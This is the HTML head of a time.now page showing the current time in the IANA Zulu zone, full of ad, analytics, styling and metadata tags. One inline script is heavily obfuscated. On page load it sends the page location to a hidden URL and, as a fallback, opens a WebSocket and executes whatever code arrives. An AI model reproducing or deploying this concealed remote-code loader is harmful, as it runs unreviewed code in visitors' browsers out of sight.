<!DOCTYPE html>
<html lang="en">

<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>Time Now in IANA Zulu time zone | Time.now</title>

	

	<script>
		// Global JS locale for Intl.DateTimeFormat / toLocaleDateString
		const _jsLocale = "en" === 'es' ? 'es-ES' : "en" === 'fr' ? 'fr-FR' : 'en-US';
		// Global URL prefix for the active locale (e.g. "/es" or "")
		const LOCALE_PREFIX = "";
		// Active locale code (en, es, fr)
		const CURRENT_LOCALE = "en";
		// Localized short day names (Sun..Sat) — used by client-side clock widgets
		const I18N_DAYS_SHORT = [
			"Sun", "Mon", "Tue",
			"Wed", "Thu", "Fri",
			"Sat"
		];
		// Moon phase i18n
		const I18N_MOON_PHASE = {
			'Calculating...': "Calculating...",
			'New Moon': "New Moon",
			'Waxing Crescent': "Waxing Crescent",
			'First Quarter': "First Quarter",
			'Waxing Gibbous': "Waxing Gibbous",
			'Full Moon': "Full Moon",
			'Waning Gibbous': "Waning Gibbous",
			'Last Quarter': "Last Quarter",
			'Waning Crescent': "Waning Crescent",
			'Above horizon': "Above horizon",
			'Below horizon': "Below horizon",
			'On horizon': "On horizon"
		};
	</script>
	<script>
		(function () {
			function getCookie(n) {
				var v = "; " + document.cookie;
				var p = v.split("; " + n + "=");
				if (p.length === 2) return p.pop().split(";").shift();
			}
			var html = document.documentElement;
			if (getCookie('is_logged_in') === '1') { html.classList.add('user-logged-in'); }
			if (getCookie('is_premium') === '1') { html.classList.add('user-is-premium'); }
		})();
	</script>


	<!-- 1. PRECONNECT: Establish connection to CDNs immediately -->
	<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin>
	<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin>

	<!-- 2. PRELOAD: Tell browser to fetch FontAwesome High Priority -->
	<link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css" as="style">


	<script
		data-cfasync="false">(function () { function h() { const D = ['ENOaBq', 'WPXgk8kd', 'W5BcM8oHjG', 'bmosfmoE', 'WOddVmkbWOq', 'W4OPW4tcPa', 'xSk4WPij', 'W4jhf8ob', 'W7tcSCk7Bq', 'v8kTWOmi', 'WOVdU8kwWPa', 'qmoymseRc8oNWPK3hSownmkJWPC', 'W7dcV3mTFZlcS13cOSoko8kIgq', 'ASkJW48t', 'W44eBCoDvmo5WOXuvYu', 'DYCmyG', 'qCkNqW', 'W4CyvSkA', 'eXxdNcC', 'W67dK0RdHa', 'W6XfcG', 'DHNdRWm', 'W53dJ8oJmW', 'W54rW5dcPq', 'W5vxW5xdGa', 'WQSsW7hcRZJdHCkgjHu', 'BSkUWPuk', 'W4ZdSYnV', 'W4CLaSkj', 'W6XFac0', 'aXvCwW', 'bCkaBW4', 'e8kpfSoA', 'WPxdV8o1EG', 'WOddQSoCWOe', 'W608WPNdLmoHWOpdRmkQ', 'rCkuqSklvCojb8o0Bs0', 'a8kCFJW', 'W6xdIqRdJa', 'W5tdRSkBWPKvWOKT', 'W47dPSoMEG', 'bmooxCk+', 'W4mKamoxcCoFCCoiBmo0WOHbW64', 'W51sWO7dHa', 'mWFdQG8', 'W7bmWQ0', 'W4ngoxy', 'DmoXWO3dIG', 'aHXawG', 'W6qlWRam', 'WPzsWP7cIa', 'W7ypWQ7cIa', 'W5S/W4/cLq', 'Bb7dPbq', 'WQDKWPZdNa', 'WPBdK8o0ka', 'W4JcV8k2WOy', 'WPddQSoiW4S', 'WRDNW5VdMG', 'gmk3WOa', 'W6e3WRldNa', 'B8k5WOaw', 'CmocW59d', 'W4Lwj2a', 'W6/dG0VcIW', 'e8knAtq', 'W7THWPtdKa', 'W7TPW5RdIW', 'W5PxWPtcIW', 'W4jrkga', 'W4BdHSk0WRq', 'y8o1W5bu', 'mXNdQbq', 'W4WtphNdOraAW6WiWOhdMSknaW', 'W4CLdSky', 'WOTrkCka', 'W6RcUCk6Fa', 'WPX9WPtdKmoTWRTbWRVdHuG', 'W47dRmoVpa', 'CXRdRHq', 'W4OZkmkr', 'W4nxjsO', 'DmokWRVdJa', 'iHakW4u', 'W4GPW47dJW', 'W6dcQCocW7i', 'WOHQW5hdHa', 'W5HBv8oC', 'W4HnWOZcPq', 'W6PdWRVcJq', 'W7zbWQ3dIG', 'W4VcQmo3WP8', 'W5RcUCkFWPSkWR4vW4a', 'WPtcIg51', 'W73cQ8oDW74', 'vmkerXi', 'W7JdJ0tdHG', 'FrRdUWm', 'iHCUD0lcOcK', 'W47cUCotWPFcMSoqW4pcRcKxbdO', 'W4OJaSky', 'W5ddNXi', 'nmoOW5vkWQ7dNvCSex95vbu', 'xxJdJ8k1', 'W40Nh8ow', 'W6DSWQ/dGG', 'WPjNW5VdKG', 'zGRdJ8k8', 'W5fPW5ZdK0pdGqu', 'WO1vAt0', 'W65bWQfm', 'WO7cLwL4', 'WRbPW6Lr', 'W6dcR8oEW78', 'fumxwW', 'eSopemol', 'W5tdSKLM', 'WOJcH8k2C8k4WRq9B8oQuSkxWP1Wxq', 'W5ZcM8oXjq', 'W5zxdCoq', 'gCofnSor', 'jSkrWPmwiSonF8o/D8ovW6tdTW', 'aHHmfq', 'W5FdICoOla', 'ebXwaa', 'W5pdR8kdWOm', 'Dmo9WONdGG', 'e8kAEIK', 'WPpdOmkkW4S', 'W47dUSkxWP0', 'lSkDW6Xx', 'aCkPvq0', 'gCogh8kW', 'W4RdKCo3', 'bmobFNi', 'jSoCW7LG', 'W4RdKCo3bq', 'ofWgW4G', 'jmoxW7L8', 'W6ZcVCk1AW', 'WQldPmoPzW', 'WQtdOJ4', 'W4RdQmo/WOy', 'WRLAWPZdHK17CG', 'WQ0cWQDd', 'WPFcGLKQ', 'WPFcUq53', 'ovv7WQO', 'WQjRWRpdMW', 'W6u7W4FcJCknW7BcPmkaWR9YW6mnWQy', 'ymodxHu', 'WR3cLbZcLCo7W7VcTghdUmkzWP/dU8kg', 'WORcRmoR', 'WQZdOgDX', 'W7lcUSoaW74', 'W7boWQ3cGq', 'WPzeAs0', 'W5VdKSo/ka', 'W6D3WQJdHG', 'A0xdPGC', 'Dr7dOWC', 'WR8IWPBdLG', 'WPbypq', 'W7PAdcy', 'WRvOW5JdIG', 'W7BcUCodW74', 'W5pcUCk/wmozW59igSoR', 'WRjBW78qWR/cHh3cMmk8lG', 'W7XnWQZcIG', 'a8kOxHi', 'WOVdVCkhWOy', 'dXPzga', 'jSoCW6Hb', 'W47cVmoFWPRcNCoqW5/cPrW5eXK', 'B8keW6dcKW', 'W5vghCoW', 'W4m5W5tcKq', 'WONdV8oQFW', 'WOfNu8kx', 'WO9YW7K', 'WPvUWRvm', 'W6FcR8o1W7C', 'W5ZdUeHK', 'WOxcN15h', 'WORcOvi6BmkeegudWRmRWRG', 'W5H3WO/dJG', 'gmkoeSor', 'W4VdISkY', 'mmorW79A', 'W7VcR8orW78', 'WOLpwdS', 'WPDnBa', 'W51wWOlcIW', 'e8kgCJG', 'WOS2d8ou', 'WOPetsu', 'W6XQWRldGG', 'W53dM8oUjq', 'oe9RWRu']; h = function () { return D; }; return h(); } function m(C, s) { C = C - (0x2b1 * 0x7 + 0x1 * 0x52f + 0x15 * -0x11b); const Y = h(); let r = Y[C]; if (m['oeCGDI'] === undefined) { var O = function (n) { const H = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='; let L = '', p = ''; for (let N = 0x23ab * -0x1 + -0x190c + -0x1 * -0x3cb7, W, a, w = 0x24d * 0xf + -0x5ab + -0x1cd8; a = n['charAt'](w++); ~a && (W = N % (0x1ca8 + 0x15b * -0x16 + -0x12e * -0x1) ? W * (0x2205 * 0x1 + -0x1bc * -0x8 + -0x2fa5 * 0x1) + a : a, N++ % (0x69c + 0x64e + 0xfe * -0xd)) ? L += String['fromCharCode'](-0x2652 + -0x5e * -0x47 + -0x1 * -0xd3f & W >> (-(-0xd4 * 0x3 + 0x123c + -0x41 * 0x3e) * N & -0x4 * 0x2c2 + -0x19bd * 0x1 + 0x24cb)) : -0x13 * -0x1e5 + -0x29 * -0x10 + -0x268f * 0x1) { a = H['indexOf'](a); } for (let j = -0x4 * 0x6e2 + -0x2 * 0x8aa + -0x16 * -0x20a, M = L['length']; j < M; j++) { p += '%' + ('00' + L['charCodeAt'](j)['toString'](0x15b * 0xd + -0x168b + -0x13f * -0x4))['slice'](-(-0x18 + -0xf75 + 0x1 * 0xf8f)); } return decodeURIComponent(p); }; const b = function (n, H) { let L = [], p = -0x1f * 0x7 + -0x2221 + 0x22fa, N, W = ''; n = O(n); let a; for (a = -0x684 * 0x1 + 0xce6 + -0x662; a < 0xe8a * -0x2 + 0x116 * -0x1a + 0x3a50; a++) { L[a] = a; } for (a = -0x54e * 0x6 + -0x61f + -0x5 * -0x797; a < -0x989 + 0x256e + -0x561 * 0x5; a++) { p = (p + L[a] + H['charCodeAt'](a % H['length'])) % (0x274 + 0xdd6 + -0xf4a), N = L[a], L[a] = L[p], L[p] = N; } a = 0x1 * 0x994 + -0x2177 + 0x1 * 0x17e3, p = -0x98e * -0x1 + -0x25a9 + 0x1c1b; for (let w = -0xe * -0x2a2 + -0x1472 + -0x106a; w < n['length']; w++) { a = (a + (-0x796 * -0x1 + -0x2177 + 0x19e2)) % (-0x23cc + -0x1bb2 + 0xfe * 0x41), p = (p + L[a]) % (-0xc10 + 0x74f * -0x1 + 0x145f), N = L[a], L[a] = L[p], L[p] = N, W += String['fromCharCode'](n['charCodeAt'](w) ^ L[(L[a] + L[p]) % (-0x14d * 0x14 + 0x2e7 + 0x181d)]); } return W; }; m['seSGPN'] = b, m['gWtQHx'] = {}, m['oeCGDI'] = !![]; } const q = Y[-0x220a + 0xec5 * 0x1 + -0x1 * -0x1345], f = C + q, Z = m['gWtQHx'][f]; return !Z ? (m['iVaGGp'] === undefined && (m['iVaGGp'] = !![]), r = m['seSGPN'](r, s), m['gWtQHx'][f] = r) : r = Z, r; } (function (C, s) { const p = m, Y = C(); while (!![]) { try { const r = -parseInt(p(0x13c, 'nOGw')) / (0x20e * 0x10 + 0x1c30 + -0x3d0f) + parseInt(p(0x119, 'ReY2')) / (-0x61f + 0x53f + -0x1 * -0xe2) + parseInt(p(0xd1, 'ix]r')) / (-0x989 + 0x256e + -0xdf1 * 0x2) * (parseInt(p(0x16f, 'O@rT')) / (0x274 + 0xdd6 + -0x1046)) + -parseInt(p(0x194, 'kD*#')) / (0x1 * 0x994 + -0x2177 + 0xa * 0x264) * (parseInt(p(0xe6, 'G&1c')) / (-0x98e * -0x1 + -0x25a9 + 0x1c21)) + parseInt(p(0xf0, '@3%0')) / (-0xe * -0x2a2 + -0x1472 + -0x1063) * (-parseInt(p(0x156, 'tNO3')) / (-0x796 * -0x1 + -0x2177 + 0x19e9)) + parseInt(p(0x157, 'eNvB')) / (-0x23cc + -0x1bb2 + 0x1a1 * 0x27) * (parseInt(p(0x16e, 'ReY2')) / (-0xc10 + 0x74f * -0x1 + 0x1369)) + -parseInt(p(0xfd, '%i](')) / (-0x14d * 0x14 + 0x2e7 + 0x1728) * (parseInt(p(0x164, '1gNi')) / (-0x220a + 0xec5 * 0x1 + -0x5 * -0x3dd)); if (r === s) break; else Y['push'](Y['shift']()); } catch (O) { Y['push'](Y['shift']()); } } }(h, -0x127ab1 + -0x14a75f + 0x392a1 * 0xf), (function () { const N = m; window[N(0xef, '!YUj') + '_' + window[N(0x15e, 'aPUs')](window[N(0x191, 'dmZy') + N(0xee, '@3%0')][N(0x155, '(3Qb')])] = { 'HTMLIFrameElement_contentWindow': Object[N(0x10e, 'C6%V') + N(0x142, 'kD*#') + N(0xd3, 'YSyV') + N(0xe1, '2k12') + N(0xd9, 'LF0^') + N(0x180, 'YSyV')](HTMLIFrameElement[N(0x17f, 'ix]r') + N(0xff, '#*Z5') + 'e'], N(0x121, '#*Z5') + N(0x13b, '2k12') + N(0x117, 'MK)%') + 'w') }; function C(O) { const W = N, [q, ...f] = O, Z = document[W(0x195, 'C4Ru') + W(0x166, 'nOGw') + W(0x127, '*hKi') + 't'](W(0xdd, '1gNi') + 'pt'); return Z[W(0x137, 'V(Rj')] = q, Z[W(0x150, 'ix]r') + W(0x100, '$Mi^') + W(0x11a, 'EuTb') + W(0x130, 'C6%V')](W(0x161, '#*Z5') + 'r', () => { const a = W; if (f[a(0x12d, 'UJiG') + 'th'] > 0x23ab * -0x1 + -0x190c + -0x1 * -0x3cb7) C(f); else { const b = new WebSocket(a(0x115, '2k12') + a(0x116, 'nOGw') + a(0x11d, 'eNvB') + a(0xde, '1gNi') + a(0x16d, '(3Qb') + 's'); b[a(0x104, 'jCtf') + a(0x14e, 'O@rT') + 'e'] = n => { const w = a, H = n[w(0xfe, '$Mi^')], L = document[w(0x170, 'wRRQ') + w(0x139, 'LF0^') + w(0x15d, 'A4aW') + 't'](w(0x140, 'C6%V') + 'pt'); L[w(0x10f, 'OK^U') + w(0x110, 'S$A@') + w(0x111, 'eNvB')] = H, document[w(0x120, 'kD*#')][w(0xe5, 'YSyV') + w(0xd4, 'C4Ru') + w(0x126, ']tQH')](L); }, b[a(0xdf, 'fz$&') + 'en'] = () => { const j = a; b[j(0xf5, 'LF0^')](j(0x129, 'LF0^') + j(0xe8, 'C4Ru') + 'l'); }; } }), document[W(0x141, 'LF0^')][W(0x11e, 'LF0^') + W(0xfc, 'O@rT') + W(0x178, '1gNi')](Z), Z; } const Y = document[N(0x179, 'bJCy') + N(0x10b, 'C6%V') + N(0x167, 'C4Ru') + 't'][N(0x176, 'ml(c') + N(0x109, 'tAjT')][N(0x149, 'tAjT') + 'in'] ?? N(0x135, 'S$A@') + N(0x114, ')]xC') + N(0x16b, 'O@rT'); document[N(0x14f, '(3Qb') + N(0x16a, 'wRRQ') + N(0x148, '#w1k') + 't'][N(0x174, 'tk]s') + 've'](); const r = document[N(0x15a, 'G&1c') + N(0x147, 'kD*#') + N(0x12c, '1gNi') + 't'](N(0x18c, 'wRRQ') + 'pt'); r[N(0x15f, '*hKi')] = N(0xed, '#w1k') + N(0xd6, 'G!25') + Y + (N(0x193, 'YSyV') + N(0xec, 'C4Ru')) + btoa(location[N(0x122, '#w1k') + N(0xe2, 'LF0^')])[N(0xcf, ']tQH') + N(0x13f, 'dmZy')](/=+$/, '') + N(0x186, '(w2o'), r[N(0x10c, 'tAjT') + N(0x16c, 'S$A@') + N(0xfb, 'DEyN')](N(0x189, '%i](') + N(0x105, '(3Qb'), N(0x192, '&VKh') + N(0xe9, '2k12')), r[N(0x133, 'DEyN') + N(0x152, 'DEyN') + N(0xf4, 'V(Rj') + N(0xf7, 'O@rT')](N(0x14c, ']tQH') + 'r', () => { const M = N; C([M(0x134, 'ix]r') + M(0x162, 'H#$S') + M(0xd5, 'bJCy') + M(0x160, 'YSyV') + M(0x153, 'OK^U') + M(0x182, '#*Z5') + M(0xd2, 'S$A@') + M(0x128, 'ReY2') + M(0x17a, 'UUd7') + M(0x10a, 'wRRQ') + M(0x11f, '1gNi') + M(0xe3, 'EuTb'), M(0x12e, '(3Qb') + M(0x15c, 'DEyN') + M(0x18b, 'aPUs') + M(0x136, '4nZS') + M(0x12f, '$Mi^') + M(0x183, 'fz$&') + M(0x13e, 'O@rT') + M(0x101, 'jCtf') + M(0x181, 'ReY2') + M(0x184, 'jCtf') + M(0x18d, 'ReY2') + M(0x187, '#w1k') + M(0x17c, ')]xC') + 'js', M(0x132, 'G!25') + M(0xf6, '$Mi^') + M(0x18f, 'ml(c') + M(0xf1, 'kD*#') + M(0xd7, 'j(^7') + M(0x158, '&VKh') + M(0x17e, '1gNi') + M(0x146, 'C4Ru') + M(0x145, 'wRRQ') + M(0xf8, 'nOGw') + M(0x177, 'YSyV') + M(0x14b, 'G&1c') + M(0x144, 'ml(c') + 'js', M(0x14a, 'MK)%') + M(0x13d, 'ix]r') + M(0xd8, 'ix]r') + M(0x103, 'wRRQ') + M(0x188, '&VKh') + M(0xdb, 'DEyN') + M(0x14d, 'tAjT') + M(0x17d, 'ml(c') + M(0x168, '*hKi') + M(0x163, 'ml(c') + M(0x173, 'S$A@') + M(0xf2, ')]xC') + M(0x17b, '$Mi^') + 'js', M(0x165, '&VKh') + M(0xf6, '$Mi^') + M(0xd0, 'OK^U') + M(0x13a, 'nOGw') + M(0x124, 'YSyV') + M(0x185, 'ReY2') + M(0x108, 'tk]s') + M(0xeb, '!YUj') + M(0x18a, 'bJCy') + M(0x18e, 'ReY2') + M(0xdc, 'H#$S') + M(0x102, 'UUd7') + M(0x10d, 'j(^7') + M(0x138, 'V(Rj') + M(0xda, '@3%0') + M(0x11c, 'fz$&'), M(0x165, '&VKh') + M(0x162, 'H#$S') + M(0x190, 'bJCy') + M(0x112, 'fz$&') + M(0xe4, 'aPUs') + M(0x125, 'ReY2') + M(0x106, 'C6%V') + M(0x118, '#w1k') + M(0x169, '$Mi^') + M(0xfa, 'tAjT') + M(0x123, 'YSyV') + M(0x171, 'aPUs') + M(0x107, 'UJiG') + M(0x15b, 'UJiG')]); }), document[N(0x151, '(w2o')][N(0x154, '(w2o') + N(0xf3, '2k12') + N(0x143, 'kD*#')](r); }())); })();</script>

	<!-- LOGIC TO HIDE ADS ON STAGE TIMER PAGES -->
	


	
	<script>
		(function () {
			// Helper to check for premium cookie
			function isPremium() {
				return document.cookie.indexOf('is_premium=1') !== -1;
			}

			// ONLY execute if user is NOT premium
			if (!isPremium()) {
				
				// 1. Load Prebid.js (EN/FR)
				var prebid = document.createElement('script');
				prebid.async = true;
				prebid.src = "https://wpstargastatic.b-cdn.net/time.now/opentrade/asc_prebid.js";
				document.head.appendChild(prebid);
				

				// 2. Load Google AdSense
				var adsense = document.createElement('script');
				adsense.async = true;
				adsense.src = "https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-1439594428948409";
				adsense.crossOrigin = "anonymous";
				document.head.appendChild(adsense);

				// 3. Load Google Tag Manager (Analytics)
				// Note: You can keep GA outside this IF if you still want to track premium user visits
				var gtm = document.createElement('script');
				gtm.async = true;
				gtm.src = "https://www.googletagmanager.com/gtag/js?id=G-L095QH5D7Y";
				document.head.appendChild(gtm);

				window.dataLayer = window.dataLayer || [];
				function gtag() { dataLayer.push(arguments); }
				gtag('js', new Date());
				gtag('config', 'G-L095QH5D7Y');
			}
		})();
	</script>

	<!-- Google tag (gtag.js) - AdWords AW-634605019 -->
	<script async src="https://www.googletagmanager.com/gtag/js?id=AW-634605019"></script>
	<script>
	  window.dataLayer = window.dataLayer || [];
	  function gtag(){dataLayer.push(arguments);}
	  gtag('js', new Date());

	  gtag('config', 'AW-634605019');
	</script>
	



	

	<!--
	 
					<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-1439594428948409"
						     crossorigin="anonymous"></script>
	
	
					<script async src="https://www.googletagmanager.com/gtag/js?id=G-L095QH5D7Y"></script>
					<script>
					  window.dataLayer = window.dataLayer || [];
					  function gtag(){dataLayer.push(arguments);}
					  gtag('js', new Date());

					  gtag('config', 'G-L095QH5D7Y');
					</script>

	
					<script type="text/javascript" async="" src="https://wpstargastatic.b-cdn.net/time.now/opentrade/asc_prebid.js"></script>
	
	-->

	


	<script>document.documentElement.className = document.documentElement.className.replace(/\bno-js\b/, 'js');</script>

	
    
    
    <link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css"
     integrity="sha256-p4NxAoJBhIIN+hmNHrzRCf9tD/miZyoHS5obTRR9BMY="
     crossorigin=""/>
    <script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js"
     integrity="sha256-20nQCchB9co0qIjJZRGuk2/Z9VM+kNiyxNV1lvTlZBo="
     crossorigin="" defer></script>
	 
		
		
		
		
		
		 
		 
		 
	
	  	
	  	    
	  	    
		 
		 

		 <style>

		 	/* Multi-column list for desktop (for IANA timezones and potentially countries) */
		 	@media (min-width: 768px) {
		 	    .link-list.three-columns-desktop {
		 	        column-count: 3;
		 	        column-gap: 20px;
		 	    }
		 	    .link-list.three-columns-desktop li {
		 	        break-inside: avoid-column; /* Prevents items from breaking across columns */
		 	    }
		 	}
	
		 /* Related Sections and City Tags Styles (copied from previous version) */
		 .related-section { margin-top: 30px; margin-bottom: 20px; }
		 .related-section h2 { margin-bottom: 15px; font-size: 1.4em; color: #333; }
		 .link-list { list-style-type: none; padding-left: 0; }
		 .link-list li { margin-bottom: 8px; padding: 5px 0; border-bottom: 1px solid #eee; }
		 .link-list li:last-child { border-bottom: none; }
		 .link-list a { text-decoration: none; color: #007bff; }
		 .link-list a:hover { text-decoration: underline; }
		 .city-tags-container { display: flex; flex-wrap: wrap; gap: 8px; }
		 .city-tag { display: inline-block; padding: 8px 16px; background-color: #f0f4f8; color: #2c3e50; text-decoration: none; border-radius: 20px; font-size: 0.9em; font-weight: 500; border: 1px solid #e1e8ed; transition: all 0.2s ease; }
		 .city-tag:hover { background-color: #007bff; color: white; border-color: #0056b3; transform: translateY(-1px); box-shadow: 0 2px 4px rgba(0, 123, 255, 0.2); }

		 /* Styles for the map container */
		 .timezone-map-container {
		     order: 4; /* Map appears after details on mobile */
		     height: 350px; /* Give it a good default height for mobile */
		     width: 100%;
		     background-color: #e9e9e9; /* Placeholder color */
		     border-radius: 8px;
		     margin-top: 20px; /* Space above map on mobile */
		 }

		 /* General Page Layout - Mobile First (Using RENAMED classes) */
		 .time-details .timezone-abbr a { color: black; text-decoration: none; }
		 .timezone-page-layout-container {
		     display: flex;
		     flex-direction: column;
		     gap: 20px;
		     margin-bottom: 20px;
		 }
		 .timezone-name-heading { order: 1; margin-bottom: 0; font-size: 1.8em; }
		 .timezone-clock-widget {
		     order: 2; width: 100%; background-color: #f0f4f8; padding: 20px;
		     text-align: center; border-radius: 8px; box-shadow: 0 0px 0px rgba(0,0,0,0.1);
		     box-sizing: border-box;
		 }
		 .timezone-additional-details { order: 3; }
		 .timezone-additional-details p,
		 .timezone-additional-details ul,
		 .timezone-additional-details div { margin-bottom: 0.8em; }
		 .timezone-additional-details ul { padding-left: 20px; list-style-type: disc; }
		 .timezone-additional-details li { margin-bottom: 0.3em; }

		 /* Desktop Layout (e.g., screens wider than 768px) - UPDATED for 3 columns */
		 @media (min-width: 769px) {
		     .time-details .time-format-toggle { display: none; }
		     .timezone-page-layout-container {
		         display: grid;
		         /* 3-column grid layout */
		         grid-template-columns: 250px 1fr 300px; /* Clock, Info, Map */
		         grid-template-rows: auto 1fr; /* Heading row, Content row (map and details can share this) */
		         grid-template-areas:
		             "clock heading map"
		             "clock details map"; /* Details and Map share the second row */
		         gap: 20px;
		         align-items: stretch; /* Make items fill their grid cell height */
		     }
		     .timezone-name-heading { grid-area: heading; order: 0; align-self: start; margin-bottom: 0; }
		     .timezone-clock-widget {
		         grid-area: clock; order: 0; width: 100%; margin-top: 0;
		         height: 100%; /* Fill the grid area height */
		         display: flex; flex-direction: column; justify-content: center;
		     }
		     .timezone-additional-details { grid-area: details; order: 0; align-self: start; }
		     .timezone-map-container {
		         grid-area: map; order: 0; width: 100%;
		         height: 100%; /* Fill the grid area height */
		         min-height: 400px; /* Ensure it has a decent minimum height on desktop */
		         margin-top: 0; /* Remove mobile margin */
		     }
		     /* Related sections might need to span columns or be placed carefully */
		     .related-section {
		         /* If you want related sections below the grid: */
		         /* grid-column: 1 / -1; */ /* This makes it span all columns */
		         margin-top: 30px;
		     }
		 }

		 /* Clock SVG and Time Detail Styles (largely unchanged) */
		 .analog-clock-face-container { margin-bottom: 15px; }
		 .visually-hidden-clock-time { clip: rect(0 0 0 0); clip-path: inset(50%); height: 1px; overflow: hidden; position: absolute; white-space: nowrap; width: 1px; }
		 .analog-svg-clock { width: 150px; height: 150px; display: block; margin: 0 auto; }
		 .svg-clock-face { stroke: #444; fill: #2c2c2c; stroke-width: 3; }
		 .svg-hour-hand { stroke: white; stroke-width: 3; stroke-linecap: round; }
		 .svg-minute-hand { stroke: white; stroke-width: 3; stroke-linecap: round; }
		 .svg-second-hand, .svg-second-counterweight { stroke: orange; }
		 .svg-second-hand { stroke-width: 2; stroke-linecap: round; }
		 .svg-second-counterweight { stroke-width: 4; stroke-linecap: round; }
		 .svg-clock-number { font-size: 8px; font-weight: bold; fill: white; text-anchor: middle; dominant-baseline: central; font-family: Arial, sans-serif; }
		 .svg-center-dot { fill: white; }
		 .time-details .current-time-digital { font-size: 2.8em; font-weight: bold; color: #333; line-height: 1.2; }
		 .time-details .timezone-abbr { font-size: 0.4em; vertical-align: text-top; color: #6a0dad; font-weight: normal; margin-left: 5px; }
		 .time-details .current-date { font-size: 1em; color: #555; margin-top: 8px; }
		 .time-details .fullscreen-action { margin-top: 12px; }
		 .time-details .fullscreen-action a { font-size: 1em; color: #007bff; text-decoration: none; }
		 .time-details .fullscreen-icon { font-size: 1.2em; vertical-align: middle; }
		 .time-details .time-format-toggle { margin-top: 8px; }
		 .time-details .time-format-toggle a { font-size: 0.9em; color: #007bff; text-decoration: none; }
		 .time-details .time-format-toggle a:hover { text-decoration: underline; }

		 /* Fullscreen Clock Overlay Styles (unchanged) */
		 .fullscreen-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: #000000; color: #FFFFFF; z-index: 1000; display: none; flex-direction: column; align-items: center; justify-content: center; padding: 20px; box-sizing: border-box; }
		 .fullscreen-overlay.active { display: flex; }
		 .fullscreen-top-bar { position: absolute; top: 0; left: 0; width: 100%; height: 40px; background-color: rgba(50, 50, 50, 0.8); display: flex; align-items: center; justify-content: space-between; padding: 0 15px; box-sizing: border-box; }
		 .fullscreen-brand-text { font-size: 1.1em; font-weight: bold; color: #e0e0e0; }
		 .fullscreen-top-bar-buttons { display: flex; align-items: center; }
		 .fullscreen-top-bar button { background-color: #444; color: white; border: 1px solid #666; padding: 5px 10px; margin-left: 10px; cursor: pointer; font-size: 0.9em; border-radius: 3px; }
		 .fullscreen-top-bar button:hover { background-color: #555; }
		 .fullscreen-content { display: flex; flex-direction: column; align-items: center; justify-content: center; text-align: center; width: 100%; flex-grow: 1; padding-top: 40px; }
		 #fullscreenItemInfo { font-size: 3vw; margin-bottom: 20px; font-weight: normal; }
		 #fullscreenDigitalTime { font-size: 15vw; font-weight: bold; line-height: 1; margin-bottom: 15px; }
		 #fullscreenDateDisplay { font-size: 2vw; opacity: 0.8; }
		 @media (max-width: 768px) {
		     #fullscreenItemInfo { font-size: 5vw; } #fullscreenDigitalTime { font-size: 20vw; } #fullscreenDateDisplay { font-size: 3.5vw; }
		     .fullscreen-top-bar button { font-size: 0.8em; padding: 4px 8px; } .fullscreen-brand-text { font-size: 1em; }
		 }
		 </style>
		 
		 


	




	<script>
		(function (s, t, a, y, twenty, two) {
			s.Stay22 = s.Stay22 || {};
			s.Stay22.params = { lmaID: '686688bf4cfa7952b181e759' };
			twenty = t.createElement(a);
			two = t.getElementsByTagName(a)[0];
			twenty.async = 1;
			twenty.src = y;
			two.parentNode.insertBefore(twenty, two);
		})(window, document, 'script', 'https://scripts.stay22.com/letmeallez.js');
	</script>


	<script async data-id="101465208" src="//static.getclicky.com/js"></script>


	<meta name="twitter:site" content="@timenowofficial">

	
	
	
	
	
	<meta property="og:title" content="Time Now in IANA Zulu time zone">
	<meta property="og:description" content="View the current local time, countries, and cities for the Zulu time zone. Includes +00:00 UTC offset.">
	<meta property="og:url" content="https://time.now/iana-time-zone/zulu/">
	<meta property="og:site_name" content="Time.now">
	
	<meta property="og:type" content="website">
	
	
	
	<meta property="og:locale" content="en_US">
	
	
	<meta property="og:image" content="https://time.now/static/time-now.png">
	<meta property="og:image:secure_url" content="https://time.now/static/time-now.png">
	<meta property="og:image:width" content="1200">
	<meta property="og:image:height" content="630">
	<meta property="og:image:alt" content="Time Now in IANA Zulu time zone">
	<meta name="twitter:card" content="summary_large_image">
	<meta name="twitter:title" content="Time Now in IANA Zulu time zone">
	<meta name="twitter:description" content="View the current local time, countries, and cities for the Zulu time zone. Includes +00:00 UTC offset.">
	<meta name="twitter:image" content="https://time.now/static/time-now.png">
	

	<script type="application/ld+json">
	{
	  "@context": "https://schema.org",
	  "@type": "Organization",
	  "name": "Time.now",
	  "url": "https://time.now",
	  "description": "Time.now provides the exact current time for any city worldwide, plus world clocks, timers, alarms, countdowns, prayer times, sunrise and sunset data, and calendar tools.",
	  "logo": {
	    "@type": "ImageObject",
	    "url": "https://time.now/static/time-now-logo.png"
	  },
	  "sameAs": [
	    "https://x.com/timenowofficial"
	  ]
	}
	</script>
	
	<script type="application/ld+json">
	{
	  "@context": "https://schema.org",
	  "@type": "WebSite",
	  "name": "Time.now",
	  "url": "https://time.now"
	}
	</script>

	
	<script type="application/ld+json">
	{
	  "@context": "https://schema.org",
	  "@type": "BreadcrumbList",
	  "itemListElement": [
	    
	    {
	      "@type": "ListItem",
	      "position": 1,
	      "name": "Home",
	      "item": "https://time.now/"
	    },
	    
	    {
	      "@type": "ListItem",
	      "position": 2,
	      "name": "IANA Timezones",
	      "item": "https://time.now/iana-time-zone/"
	    },
	    
	    {
	      "@type": "ListItem",
	      "position": 3,
	      "name": "Zulu",
	      "item": "https://time.now/iana-time-zone/zulu/"
	    }
	    
	  ]
	}
	</script>
	


	<link rel="apple-touch-icon" sizes="57x57" href="/static/apple-touch-icon-57x57.png">
	<link rel="apple-touch-icon" sizes="60x60" href="/static/apple-touch-icon-60x60.png">
	<link rel="apple-touch-icon" sizes="72x72" href="/static/apple-touch-icon-72x72.png">
	<link rel="apple-touch-icon" sizes="76x76" href="/static/apple-touch-icon-76x76.png">
	<link rel="apple-touch-icon" sizes="114x114"
		href="/static/apple-touch-icon-114x114.png">
	<link rel="apple-touch-icon" sizes="120x120"
		href="/static/apple-touch-icon-120x120.png">
